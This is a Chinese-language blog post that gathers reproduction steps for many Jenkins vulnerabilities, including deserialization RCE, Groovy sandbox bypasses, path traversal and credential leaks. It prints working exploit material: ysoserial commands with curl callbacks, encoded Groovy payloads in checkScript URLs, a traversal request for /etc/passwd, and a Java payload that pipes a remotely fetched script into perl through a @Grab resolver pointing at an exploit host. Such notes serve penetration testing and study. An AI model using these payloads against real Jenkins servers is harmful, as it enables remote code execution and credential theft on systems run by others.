复现文章和脚本大都是网上收集,大部分能找到出处的,个别找不到明确的地址。

CVE-2015-8103 反序列化远程代码执行

1.638之前的Jenkins和1.625.2之前的LTS中的Jenkins CLI子系统,允许远程攻击者通过制作的序列化Java对象执行有问题的commons-collections。

利用脚本:https://github.com/LeoHuang2015/jenkins-cli-exploit

执行后有类似如下反应:

image-20200327115239320

还可以使用msf中的模块exploit/linux/misc/jenkins_java_deserialize来执行攻击反弹shell。

CVE-2016-0788 Jenkins CI和LTS 远程代码执行漏洞

CloudBeesJenkinsCI1.650之前版本和LTS1.642.2之前版本的remoting模块中存在安全漏洞。远程攻击者可通过打开JRMP监听程序利用该漏洞执行任意代码。

利用需要X-Jenkins-CLI2-Port对应的端口,如果Jenkins无法获取CLI版本2的端口标头“ X-Jenkins-CLI2-Port”,它会退回到版本1。

利用ys生成二进制文件:java -jar ysoserial.jar CommonsCollections3 "curl http://r9rub4.ceye.io/" > payload.bin

利用脚本:https://github.com/foxglovesec/JavaUnserializeExploits/blob/master/jenkins.py

发送的二进制文件实际上是十六进制的(<===[JENKINS REMOTING CAPACITY]===>)与其后base64的编码构成。使用类似反应如下:

image-20200327121322560

CVE-2016-0792 低权限用户命令执行

影响版本:jenkins小于 1.650

利用脚本:https://github.com/jpiechowka/jenkins-cve-2016-0792

执行后类似如下

image-20200327120724417

CVE-2016-9299 代码执行

2.32之前的Jenkins和2.19.3之前的LTS中的远程处理模块允许远程攻击者通过精心制作的序列化Java对象执行任意代码,从而触发对第三方服务器的LDAP查询。

关于这个漏洞的分析和代码利用,已经有详细的分析文章:https://paper.seebug.org/199/

msf有成熟的利用模块:exploit/linux/misc/jenkins_ldap_deserialize

CVE-2017-1000353 Jenkins-CI 远程代码执行

影响版本:Jenkins<=2.56。Jenkins LTS <= 2.46.1

下载pochttps://github.com/vulhub/CVE-2017-1000353

执行生成字节码文件。

java  -jar  CVE-2017-1000353-SNAPSHOT-all.jar  jenkins_poc.ser  "curl http://xxx.ceye.io"

利用py文件来进行发送

python exploit.py http://x.x.x.x:8080 jenkins_poc.ser

会有如下反应

image-20200325165630218

CVE-2018-1000110 用户枚举

模糊搜索:http://x.x.x.x:8080/search/?q=a

image-20200325165813965

http://x.x.x.x:8080/search/suggest?query=a

image-20200325165911492

如果git插件小于3.7,也可以使用如下

http://x.x.x.x:8080/git/search/?q=a
http://x.x.x.x:8080/git/search/suggest?query=a

CVE-2018-1000861 远程命令执行

可以使用如下的一键化脚本

https://github.com/orangetw/awesome-jenkins-rce-2019

也可以自定义发送请求

http://x.x.x.x:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {public x(){"curl http://xxx.ceye.io/CVE-2018-1000861".execute()}}

页面返回空白,响应为

image-20200325171107715

如果使用脚本,则同样效果

image-20200325171239538

还可以使用的POC,使用会提示错误信息,但命令已执行。

/securityRealm/user/test/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=import+groovy.transform.*%0a%40ASTTest(value%3d%7bassert+java.lang.Runtime.getRuntime().exec("curl http://xxx.ceye.io/CVE-2018-1000861")%7d)%0aclass+Person%7b%7d

/securityRealm/user/test/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=import+groovy.transform.*%0a%40ASTTest(value%3d%7b+"curl http://xxx.ceye.io/CVE-2018-1000861".execute().text+%7d)%0aclass+Person%7b%7d

CVE-2018-1999002 任意文件读取

影响版本:Jenkins weekly 2.132 以及更早的版本。Jenkins LTS 2.121.1 以及更早的版本

可以读取Windows系统服务器中的任意文件,且在特定而条件下也可以读取Linux系统服务器中的文件.

详情:https://xz.aliyun.com/t/2486

结合payload来看,我们请求的url为/plugin/credentials/.ini,则base为空,扩展名(ext变量)即为.ini,然后通过一系列的尝试openURL,在此例中即最后一个情形con = openURL(map(base+'_'+ locale.getLanguage()+ext));,会去请求_../../../../../../../../../../../../windows/win.ini ,尽管目录_..并不存在,但在win下可以直接通过路径穿越来绕过。但在linux,则需要一个带有_的目录来想办法绕过。

需要已经开启了匿名用户读取权限,在请求头中添加

Accept-Language: /../../../../../../../../etc/passwd

处理请求中的包含路径,比如/plugin/xxxx,可以尝试

/plugin/jquery-detached/.xml
/plugin/jquery-detached/.key
/plugin/credentials/.ini

在Windows下这么使用

GET /plugin/credentials/.ini HTTP/1.1
Host: x.x.x.x:8080
Accept: text/javascript, text/html, application/xml, text/xml, */*
X-Prototype-Version: 1.7
DNT: 1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.106 Safari/537.36
Origin: http://x.x.x.x:8080
Referer: http://x.x.x.x:8080/
Accept-Encoding: gzip, deflate
Accept-Language: /../../../../../../../../etc/passwd
Cookie: JSESSIONID.450017e3=x6kdpnkcgllh18wvlaohsqq8z; screenResolution=1920x1080; JSESSIONID.ccf0cd96=node09crp5bs5eglyrv874no3w48l0.node0; JSESSIONID.6551b177=14vcq2nsop6bw1u8urepj65kwv; td_cookie=1608956971
Connection: close

CVE-2018-1000600 Jenkins GitHub 信息泄露

影响版本:Jenkins GitHub插件小于1.29.1

利用的POC为,其中user1为用户名。

/securityRealm/user/user1/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://xxx.ceye.io

执行后显示

image-20200326173809956

查看DNSlog回显

image-20200326173837239

CVE-2019-1003000 远程代码执行

实际影响版本及编号:CVE-2019-1003000 (Script Security), CVE-2019-1003001 (Pipeline: Groovy), CVE-2019-1003002 (Pipeline: Declarative)

拥有Overall/Read 权限的用户可以绕过沙盒保护,在jenkins可以执行任意代码。此漏洞需要一个账号密码和一个存在的job。受影响插件版本:Pipeline: Declarative 插件 <= 1.3.4。Pipeline: Groovy 插 件 <= 2.61。Script Security 插 件 <= 1.49。

下载环境和利用代码:https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc.git

执行利用后显示

image-20200326112837107

我们的job中也被添加了如下

image-20200326112903149

CVE-2019-1003005 远程代码执行

受影响版本:

Jenkins 2.53
Jenkins 2.122
Jenkins 2.137
Jenkins 2.138 启用匿名读取
Jenkins 2.152 启用匿名读取
Jenkins 2.153 启用匿名读取
Script Security Plugin 1.43
Script Security Plugin 1.48

下载利用脚本:https://github.com/orangetw/awesome-jenkins-rce-2019

构建环境后,执行脚本如下

image-20200326124130037

显示如下

image-20200326124151396

当然如果不想使用这种一键式脚本还可以自己构造jar来利用

  1. 创建Payload.java
public class Payload {
    public Payload(){
        try {
            String payload = "curl orange.tw/bc.pl | perl -";
            String[] cmds = {"/bin/bash", "-c", payload};
            java.lang.Runtime.getRuntime().exec(cmds);
        } catch (Exception e) { }

    }
}
  1. 编译文件,创建META-INF/services/文件夹,同时在文件夹下创建名为org.codehaus.groovy.plugins.Runners的文件。内容随意,比如Payload
  2. 文件创建后,在某一目录下,文件树类似如下:

image-20200327093359850

  1. 编译以上目录jar cvf poc-1.jar code/
  2. 将编译产生的文件移动到类似如下地址cp poc-1.jar ~/www/code/payload/poc/1/
  3. 将www目录移动到web服务器中,地址类似:http://xxx.com/code/payload/poc/1.poc-1.jar
  4. 利用如下exp
http://<TARGET HOST>/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile
?value=
@GrabConfig(disableChecksums=true)%0a
@GrabResolver(name='payload', root='http://<EXPLOIT HOST>')%0a
@Grab(group='package', module='payload', version='1')%0a
import Payload;

CVE-2019-1003029 Script Security Plugin沙箱绕过

此漏洞和CVE-2019-1003005漏洞同样都是由Script Security插件引起。利用方式和上一致。影响版本1.55以下。

CVE-2019-10392 Jenkins Git 插件命令执行

之前做过这个漏洞的复现,地址:https://misakikata.github.io/2019/09/CVE-2019-10392-Jenkins-2k19%E8%AE%A4%E8%AF%81%E8%BF%9C%E7%A8%8BRCE/

CVE-2019-10352 任意文件写入

该漏洞使经过身份验证的具有Job/Configure权限的攻击者可以使用目标之外的文件名定义文件参数,从而导致任意文件写入。

创建一个名为test的新“自由式项目”(该项目的工作空间将位于JENKINS_HOME/workspace/test)

image-20200327131927499

创建一个受限制的用户,提供总体读取和作业构建,配置和读取权限。在配置中选择文件参数

image-20200327132432562

单击构建选择上传文件,上传一个1.png

image-20200327132552837

开始构建就可以将其写入运行Jenkins的用户有权写入的文件系统上的任何位置。

CVE-2019-10300 GitLab插件信息泄露漏洞

Jenkins GitLab插件1.5.11 的功能中存在一个可利用的信息泄露漏洞。来自具有“ Overall/Read”权限的用户(例如,启用了匿名用户)的特制HTTP请求,可能导致该插件的受影响版本将Jenkins凭据数据库中的凭据公开给攻击者控制的服务器。

需要下载插件:https://mirrors.tuna.tsinghua.edu.cn/jenkins/plugins/gitlab-plugin/1.5.11/gitlab-plugin.hpi

利用分析:https://talosintelligence.com/vulnerability_reports/TALOS-2019-0788



原文作者:Misaki

原文链接:/2020/03/Jenkins漏洞集合复现/

发表日期:March 27th 2020, 2:56:40 pm

更新日期:March 27th 2020, 3:07:18 pm

版权声明:本文采用知识共享署名-非商业性使用 4.0 国际许可协议进行许可



# web安全  

tocToc: